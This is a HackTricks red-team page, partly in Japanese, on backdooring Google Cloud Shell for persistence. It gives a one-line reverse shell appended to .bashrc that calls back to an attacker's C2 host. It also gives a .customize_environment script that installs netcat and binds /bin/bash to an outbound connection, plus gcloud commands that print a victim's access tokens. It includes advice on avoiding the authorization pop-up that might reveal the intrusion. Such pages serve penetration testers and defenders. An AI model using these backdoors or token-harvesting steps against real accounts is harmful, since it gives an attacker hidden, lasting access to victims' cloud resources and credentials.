GCP - Cloud Shell 永続化

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Cloud Shell

For more information check:

GCP - Cloud Shell Enum

永続的な Backdoor

Google Cloud Shell は、ブラウザから直接クラウドリソースにコマンドラインでアクセスでき、料金は発生しません。

You can access Google’s Cloud Shell from the web console or running gcloud cloud-shell ssh.

This console has some interesting capabilities for attackers:

  1. Any Google user with access to Google Cloud has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
  2. Said instance will maintain its home directory for at least 120 days if no activity happens.
  3. There is no capabilities for an organisation to monitor the activity of that instance.

これは基本的に、攻撃者がユーザーのホームディレクトリに backdoor を置くことができ、ユーザーが少なくとも120日ごとに GC Shell に接続する限り backdoor は存続し、攻撃者は実行するたびにシェルを得ることができるということを意味します。単に次の操作を行うだけです:

Add reverse shell to .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

ホームフォルダに .customize_environment という別のファイルがあり、存在する場合は、ユーザーが cloud shell にアクセスするたびに 実行されます(前の手法と同様)。前述の backdoor を挿入するか、以下のようなものを入れておけば、ユーザーが「頻繁に」cloud shell を使用する限り persistence を維持できます:

.customize_environment backdoor を作成 ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

注意: 認証を要する操作が初めて実行される際、ユーザーのブラウザに承認用のポップアップウィンドウが表示されることに注意してください。このウィンドウはコマンドを実行する前に承認される必要があります。予期しないポップアップが表示されると、疑いを招き、使用している永続化方法が露呈する可能性があります。

This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:

However, if the user has actively used the cloudshell, the pop-up won’t appear and you can ユーザーのトークンを収集することができます:

Cloud Shell からアクセス トークンを取得する ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

SSH接続の確立方法

基本的に、以下の3つのAPIコールが使用されます:

詳細は https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key を参照してください。

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする